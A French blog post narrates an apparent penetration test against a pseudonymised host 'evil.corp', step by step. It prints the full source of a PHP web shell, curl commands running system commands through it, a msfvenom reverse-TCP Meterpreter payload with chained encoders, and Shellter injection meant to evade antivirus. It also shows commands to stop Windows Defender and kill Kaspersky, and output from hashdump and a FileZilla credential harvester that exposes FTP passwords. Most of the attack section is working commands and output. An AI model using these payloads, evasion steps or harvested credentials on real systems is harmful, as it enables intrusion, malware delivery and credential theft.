Nicolas SURRIBAS

Sécurité Informatique / Capture The Flag / Développement / Réseaux / PenTest

Tales of PenTest #1: Celui qui donnait la permission FILE

Rédigé par devloop - -

Exploitation web

Un Nmap sur evil.corp nous informe que seul un serveur Apache est présent sur le port 80. La machine est quand à elle un Windows (Win64 d'après la bannière HTTP, Nmap suspecte lui un Windows Server 2008).

Je joue rapidement avec le site qui semble vulnérable à des injections SQL. Un Wapiti permet d'obtenir différents angles d'attaque.

./bin/wapiti http://evil.corp/ -v 2 --color -d 5
Wapiti report for evil.corp

Wapiti trouve différentes failles SQL pour des scripts et des méthodes HTTP différentes (le nombre de failles n'est pas représentatif, il peut s'agir d'un même script vulnérable mais avec des paramètres d'URL différents).
Face à un tel choix j'ai toujours tendance à tester d'abord les injections dans les formulaires (je veux dire données envoyées en POST) pour la simple raison qu'elles permettent d'être plus discret (l'injection SQL n’apparaîtra pas dans les logs du serveur web).

Un autre élément primordial est à prendre en compte : le type d'injection SQL.
Entre une injection en aveugle basée sur le temps de réponse et une injection non-aveugle de type UNION le choix est vite fait.
Je préfère abandonner un peu de discrétion et pouvoir dumper rapidement des tables plutôt que être en mode ninja de l'apocalypse et parvenir à dumper une table en 3 semaines avec des erreurs :p

Je fini par faire mon choix parmi les scripts vulnérables :

Wapiti report SQL injection on evil.corp

Je lance sqlmap sur l'URL vulnérable qui est exploitable via différentes techniques.
$ sqlmap.py -u "http://evil.corp/products/?keyword=&category=1" --random-agent -p category

---
Parameter: category (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keyword=&category=1 AND 4994=4994

    Type: AND/OR time-based blind
    Title: MySQL time-based blind - Parameter replace (MAKE_SET)
    Payload: keyword=&category=MAKE_SET(2846=2846,SLEEP(5))

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: keyword=&category=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71766b7071,0x507a72574e695348556a5556736b55794d4a7361626b7663416e7a6f6f62734a434c767247495773,0x716a766a71),NULL,NULL,NULL,NULL,NULL-- Hz
oF
---
web application technology: Apache 2.4.4
back-end DBMS: MySQL 5
available databases [4]:
[*] evilcorp_db
[*] information_schema
[*] mysql
[*] performance_schema
Parmi les tables de evilcorp_db (obtenues avec sqlmap via -D evilcorp_db --tables) on trouve une table admin_users qui nous promet des merveilles.
Table: admin_users
[7 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| privileges | int(11)      |
| id_user    | int(11)      |
| login      | varchar(255) |
| mail       | varchar(255) |
| name       | varchar(255) |
| pwd        | varchar(64)  |
| role       | tinyint(4)   |
+------------+--------------+

Admin web

Les identifiants qui y sont présents ne fonctionnent pas avec le site mais en fouillant un peu je trouve un CMS visiblement fait maison (aucune référence au nom de l'appli n'a été trouvé sur Google) sur /admin/ sur lequel les identifiants (stockés en clair) fonctionnent.

Parmi les pages utilisées sur cette interface admin on trouve un script d'upload à /admin/context/upload.php.
Le problème c'est que lors de l'upload (qui accepte visiblement tout type d'extension) aucune indication n'est donnée sur l'emplacement où se retrouvent les fichiers.

SQLmap nous permet de savoir que l'utilisateur SQL courant (evil@localhost) n'est pas DBA (sniff).
Toutefois une bonne surprise nous attend lorsque l'on dump les privilèges des utilisateurs.
database management system users privileges:

[*] 'evilcorp'@'%' [5]:
    privilege: DELETE
    privilege: FILE
    privilege: INSERT
    privilege: SELECT
    privilege: UPDATE
Youpi ! C'est noël avant l'heure :) Grace au privilège FILE (qui n'a aucune raison d'être là) on va donc pouvoir dumper le code PHP des scripts via LOAD DATA INFILE et potentiellement placer une backdoor PHP via INTO OUTFILE (si secure_file_priv n'entre pas en jeux).

Avant de commencer à dumper les scripts PHP il faut déjà connaître leur path.
En fouillant dans la table admin_site de la base de données on peut trouver des variables de configuration du site, notamment des paths. Or il s'avère que ces paths correspondent à un environnement Unix (une racine web qui correspondrait à du RedHat ou CentOS), étrange pour un serveur qui semble tourner sous Windows...

Et effectivement les paths Unix que l'on peut donner à sqlmap via --file-read ne nous retournent aucun contenu.

Je retourne sur le site, bien décidé à lui faire cracher quelques paths valides. Au boût d'un moment je trouve un script qui permet d'afficher une image en spécifiant la largeur (paramètre w). Si on passe autre chose qu'un chiffre le script commence à causer :)
http://evil.corp/thumb.php?w=not_a_number&file=pictures%2Fproduct%2Fcamera.jpg
EvilCorp thumb php script path leak

Les chemins présents en base doivent correspondre en fait à une ancienne installation.

On sait dorénavant que le serveur fonctionne bien sous Windows avec WAMP. Armé en plus de la version d'Apache on retrouve facilement sur le web les paths des fichiers de configuration pouvant nous aider (config Apache, MySQL et WAMP).

Divulgation de fichiers

Finalement le LOAD DATA INFILE fonctionne et nous permet de trouver l'emplacement des fichiers uploadés en récupérant le code du script PHP d'upload.

evil.corp php upload script code

Upload de fichiers

On uploade aussitôt une backdoor PHP générique qui exploite la possibilité d'instancier une fonction en PHP (une technique couramment utilisée, déjà vu dans les scripts que laissent des pirates après une intrusion).
<?php                                                                                                                  
$func = isset($_POST["f"]) ? $_POST["f"] : "";                                                                         
$arg1 = isset($_POST["a"]) ? $_POST["a"] : "";                                                                         
$arg2 = isset($_POST["b"]) ? $_POST["b"] : "";                                                                         
$ret_func = isset($_POST["rf"]) ? $_POST["rf"] : "";                                                                   
                                                                                                                       
$ret_val = "";                                                                                                         
if ($func != "") {                                                                                                     
    if ($arg1 != "" && $arg2 != "") {                                                                                  
        $ret_val = $func($arg1, $arg2);                                                                                
    } elseif ($arg1 != "") {                                                                                           
        $ret_val = $func($arg1);                                                                                       
    } else {                                                                                                           
        $ret_val = $func();                                                                                            
    }                                                                                                                  
}                                                                                                                      
                                                                                                                       
if ($ret_func != "") {                                                                                                 
    $ret_func($ret_val);                                                                                               
}                                                                                                                      
                                                                                                                       
?>

Exécution de commande

Cela permet de passer le nom de fonction à exécuter avec ses arguments (jusqu'à deux), de récupérer le résultat de la fonction et de le passer à une autre fonction.

L'équivalent d'un print(passthru("dir c:\")) se fera de cette façon :
$ curl --data 'f=passthru&a=dir c:\&rf=print' http://evil.corp/pictures/product/db.inc.php
 Le volume dans le lecteur C n'a pas de nom.
 Le num�ro de s�rie du volume est DEAD-BEEF

 R�pertoire de c:\

26/12/2014  17:03    <REP>          Intel
17/08/2009  05:20    <REP>          PerfLogs
10/12/2014  18:22    <REP>          Program Files
17/03/2016  14:25    <REP>          Program Files (x86)
02/08/2014  11:35    <REP>          Backup
13/05/2015  11:28    <REP>          temp
22/11/2017  10:34    <REP>          Users
08/09/2016  10:21    <REP>          wamp
11/06/2017  23:53    <REP>          Windows
On trouve quelques entrées intéressantes dans Program Files :
02/12/2014  09:36    <REP>          FileZilla FTP Client
16/01/2017  14:25    <REP>          Kaspersky Lab
09/04/2016  08:32    <REP>          TeamViewer
23/12/2014  16:41    <REP>          Windows Defender
Il y a donc deux outils de sécurité qui tournent.
$ curl --data 'f=passthru&a=tasklist&rf=print' http://evil.corp/pictures/product/db.inc.php

Nom de l'image                 PID Nom de la sessio Num�ro de s Utilisation 
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0        24 Ko
System                           4 Services                   0       528 Ko
smss.exe                       436 Services                   0       100 Ko
csrss.exe                      616 Services                   0     1�588 Ko
wininit.exe                    672 Services                   0       232 Ko
winlogon.exe                   748 Console                    1       252 Ko
services.exe                   796 Services                   0     5�044 Ko
lsass.exe                      804 Services                   0     5�200 Ko
lsm.exe                        816 Services                   0     1�500 Ko
svchost.exe                    996 Services                   0     3�828 Ko
---snip---
wampmanager.exe               2156 Console                    1     1�208 Ko
avp.exe                       2296 Services                   0    80�044 Ko
avpui.exe                     1168 Console                    1     3�060 Ko
TeamViewer_Service.exe        3588 Services                   0     6�052 Ko
TeamViewer.exe                9416 Console                    1     7�992 Ko
httpd.exe                     9172 Services                   0       328 Ko
mysqld.exe                    7164 Services                   0    31�888 Ko
tomcat7.exe                  13836 Services                   0    50�648 Ko
cmd.exe                       4548 Services                   0     2�932 Ko
tasklist.exe                  7412 Services                   0     5�788 Ko
Et sous quel utilisateur je tourne au fait ?
$ curl --data 'f=passthru&a=whoami&rf=print' http://evil.corp/pictures/product/db.inc.php
autorite nt\syst�me
Vous ne revez pas, WAMP tourne bien en système du coup les commandes que l'on passe aussi. Pas d'escalade de privilèges à ajouter :)

Parmi les services qui tournent on retrouve AVP17.0.0, KSDE1.0.0 et WinDefend.
Ce dernier peut être simplement stoppé avec sc stop WinDefend.
Pour Kaspersky c'est une autre paire de manche.

Bypass d'antivirus

Je vais générer une backdoor Meterpreter via msfvenom et Shellter pour diminuer mes chances d'être attrapé par l'antivirus.

D'abord je génère un payload x86 raw avec msfvenom :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=100.100.0.1 LPORT=7777 EXITFUNC=thread -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f raw -o custom_payload

Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai succeeded with size 408 (iteration=1)
x86/shikata_ga_nai succeeded with size 435 (iteration=2)
x86/shikata_ga_nai succeeded with size 462 (iteration=3)
x86/shikata_ga_nai succeeded with size 489 (iteration=4)
x86/shikata_ga_nai chosen with final size 489
Payload size: 489 bytes

Found 1 compatible encoders
Attempting to encode payload with 8 iterations of x86/countdown
x86/countdown succeeded with size 507 (iteration=0)
x86/countdown succeeded with size 525 (iteration=1)
x86/countdown succeeded with size 543 (iteration=2)
x86/countdown succeeded with size 561 (iteration=3)
x86/countdown succeeded with size 579 (iteration=4)
x86/countdown succeeded with size 597 (iteration=5)
x86/countdown succeeded with size 615 (iteration=6)
x86/countdown succeeded with size 633 (iteration=7)
x86/countdown chosen with final size 633
Payload size: 633 bytes

Found 1 compatible encoders
Attempting to encode payload with 9 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 660 (iteration=0)
x86/shikata_ga_nai succeeded with size 687 (iteration=1)
x86/shikata_ga_nai succeeded with size 714 (iteration=2)
x86/shikata_ga_nai succeeded with size 741 (iteration=3)
x86/shikata_ga_nai succeeded with size 768 (iteration=4)
x86/shikata_ga_nai succeeded with size 795 (iteration=5)
x86/shikata_ga_nai succeeded with size 822 (iteration=6)
x86/shikata_ga_nai succeeded with size 849 (iteration=7)
x86/shikata_ga_nai succeeded with size 876 (iteration=8)                                                                                                                                                                                     
x86/shikata_ga_nai chosen with final size 876                                                                                                                                                                                                
Payload size: 876 bytes                                                                                                                                                                                                                      
Saved as: custom_payload
Ensuite j'utilise Shellter pour intégrer le payload dans un exécutable Win32.
Le choix de l'exécutable se fera généralement pour un programme assez gros (suffisamment d'instructions), qui fonctionne en ligne de commande (si on utilise le mode Stealth de Shellter qui conserve le fonctionnement du programme hôte) et qui n'a pas de système de vérification d'intégrité (du genre un installeur).

Dans l'exemple çi-dessous j'utilise SiteShooter de NirSoft mais il est tout à fait possible d'utiliser d'autres exécutables. Il faudra parfois plusieurs tentatives avant de trouver des paramètres adéquats pour Shellter. Les exécutables de NirSoft sont packés avec UPX, j'ai préalablement unpacké SiteShooter.exe avant de le passer à Shellter (upx.exe -d SiteShooter.exe).
        1010101 01   10 0100110 10     01  11001001 0011101 001001
        11      10   01 00      01     01     01    10      11   10
        0010011 1110001 11011   11     10     00    10011   011001
             11 00   10 01      11     01     11    01      01   11
        0010010 11   00 0011010 100111 000111 00    1100011 01   10 v6.9
        www.ShellterProject.com                     Wine Mode



Choose Operation Mode - Auto/Manual (A/M/H): A

PE Target: /tmp/SiteShoter.exe

**********
* Backup *
**********

Backup: Shellter_Backups\SiteShoter.exe




********************************
* PE Compatibility Information *
********************************

Minimum Supported Windows OS: 4.0

Note: It refers to the minimum required Windows version for the target
      application to run. This information is taken directly from the
      PE header and might be not always accurate.




******************
* Packed PE Info *
******************

Status: Possibly Not Packed - The EntryPoint is located in the first section!




***********************
* PE Info Elimination *
***********************

Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature.

Status: All related information has been eliminated!




****************
* Tracing Mode *
****************

Status: Tracing has started! Press CTRL+C to interrupt tracing at any time.

Note: In Auto Mode, Shellter will trace a random number of instructions
      for a maximum time of approximately 30 seconds in native Windows
      hosts and for 60 seconds when used in Wine.



Instructions Traced: 151793

Tracing Time Approx: 1.36 mins.



Starting First Stage Filtering...



*************************
* First Stage Filtering *
*************************

Filtering Time Approx: 0.0107 mins.



Enable Stealth Mode? (Y/N/H): N

************
* Payloads *
************

[1] Meterpreter_Reverse_TCP   [stager]
[2] Meterpreter_Reverse_HTTP  [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP      [stager]
[5] Shell_Reverse_TCP         [stager]
[6] Shell_Bind_TCP            [stager]
[7] WinExec

Use a listed payload or custom? (L/C/H): C

Select Payload: /tmp/custom_payload

Is this payload a reflective DLL loader? (Y/N/H): N


****************
* Payload Info *
****************

Payload: /tmp/custom_payload

Size: 876 bytes

Reflective Loader: NO

Encoded-Payload Handling: Enabled

Handler Type: IAT



******************
* Encoding Stage *
******************

Encoding Payload: Done!


****************************
* Assembling Decoder Stage *
****************************

Assembling Decoder: Done!


***********************************
* Binding Decoder & Payload Stage *
***********************************

Status: Obfuscating the Decoder using Thread Context Aware Polymorphic
        code, and binding it with the payload.

Please wait...

Binding: Done!


*********************
* IAT Handler Stage *
*********************


Fetching IAT Pointers to Memory Manipulation APIs...


0. VirtualAlloc --> IAT[41d154]
1. VirtualAllocEx --> N/A
2. VirtualProtect --> N/A
3. VirtualProtectEx --> IAT[41d1f8]
4. HeapCreate/HeapAlloc --> IAT[41d100]/IAT[41d164]
5. LoadLibrary/GetProcAddress --> IAT[41d160]/IAT[41d1e8]
6. GetModuleHandle/GetProcAddress --> IAT[41d138]/IAT[41d1e8]
7. CreateFileMapping/MapViewOfFile --> N/A

Using Method --> 3



***************************
* IAT Handler Obfuscation *
***************************

Status: Binding the IAT Handler with Thread Context Aware Polymorphic code.

Please wait...

Code Generation Time Approx: 0 seconds.



*************************
* PolyMorphic Junk Code *
*************************

Type: Engine

Generating: ~546 bytes of PolyMorphic Junk Code

Please wait...

Generated: 546 bytes

Code Generation Time Approx: 0 seconds.



Starting Second Stage Filtering...



**************************
* Second Stage Filtering *
**************************

Filtering Time Approx: 0 mins.



*******************
* Injection Stage *
*******************

Virtual Address: 0x401cc6

File Offset: 0x10c6

Section: .text


Adjusting stub pointers to IAT...

Done!


Adjusting Call Instructions Relative Pointers...

Done!


Injection Completed!



*******************
* PE Checksum Fix *
*******************

Status: Valid PE Checksum has been set!

Original Checksum: 0x0

Computed Checksum: 0x2bb63



**********************
* Verification Stage *
**********************


Info: Shellter will verify that the first instruction of the
      injected code will be reached successfully.
      If polymorphic code has been added, then the first
      instruction refers to that and not to the effective
      payload.
      Max waiting time: 10 seconds.

 Warning!
 If the PE target spawns a child process of itself before
 reaching the injection point, then the injected code will
 be executed in that process. In that case Shellter won't 
 have any control over it during this test.
 You know what you are doing, right? ;o)

Injection: Verified!
Si on envoie l'exécutable sur NoDistribute on voit que seul deux antivirus détectent une menace... et il s'agit apparemment de faux positifs (je veux dire que c'est bien une menace mais la dénomination des malwares ne correspond pas au payload).
Dans tous les cas Kaspersky ne posera pas de problèmes d'après ces résultats.

NoDistribute scan for Meterpreter injected SiteShooter.exe

On uploade et on lance l'exécutable sur le serveur avec passthru. La session Metasploit nous parvient.
meterpreter > sysinfo
Computer        : EVILCORP-WEBSERVER
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : fr_FR
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/win64
La machine ne fait partie d'aucun réseau local ni domaine Windows, on va s'en tenir à la récupération d'identifiants.
meterpreter > getuid
Server username: AUTORITE NT\Syst�me

meterpreter > run killav
[*] Killing Antivirus services on the target...
[*] Killing off avp.exe...
Après cette opération avp.exe reste toujours dans la liste des processus. Mais mon installation de Metasploit date un peu. Difficile de dire quel est l'état de l'antivirus après ça et si ça a eu un quelconque impact.
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 179da64596822c5bcfdaeae71751ad0e...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invit�:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WebServer:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Les utilisateurs ont tous le même hash correspondant à l'absence de mot de passe... Sous prétexte que les services Windows ne sont pas accessibles depuis l'extérieur on en oublie les bonnes pratiques de base :D

Trophée

On a vu plutôt que le client Filezilla était utilisé, voyons ce qu'on peut obtenir comme identifiants...
meterpreter > run get_filezilla_creds
[*] Running Meterpreter FileZilla Credential harvester script
[*] All services are logged at /root/.msf4/logs/filezilla/EVILCORP_WEBSERVER_20170618.5630/EVILCORP_WEBSERVER_20170618.5630.txt
[*] Running as SYSTEM extracting user list..
[*] Checking if Filezilla profile is present for user :::Admin:::...
[-] Filezilla profile not found!
[*] Checking if Filezilla profile is present for user :::WebServer:::...
[*] FileZilla profile found!
[*] Reading sitemanager.xml file...
[*]     Host: ftp.supplier.fr
[*]     Port: 21
[*]     User: client425
[*]     Password: nYZd4PkX
[*]     Protocol: FTP
[*] 
[*] Reading recentservers.xml file...
[*]     Host: ftp.supplier.fr
[*]     Port: 21
[*]     User: EVILCORP
[*]     Password: P@ssw0rd!
[*]     Protocol: FTP
[*] 
[*]     Host: ftp.supplier.fr
[*]     Port: 21
[*]     User: client425
[*]     Password: nYZd4PkX
[*]     Protocol: FTP
[*] 
[*]     Host: srv545.hosting.com
[*]     Port: 21
[*]     User: EVILCORP
[*]     Password: Ev!lC0rp
[*]     Protocol: FTP
[*]

Mission accomplished! :)


Classé dans : Non classé - Mots clés : aucun

Les commentaires sont fermés.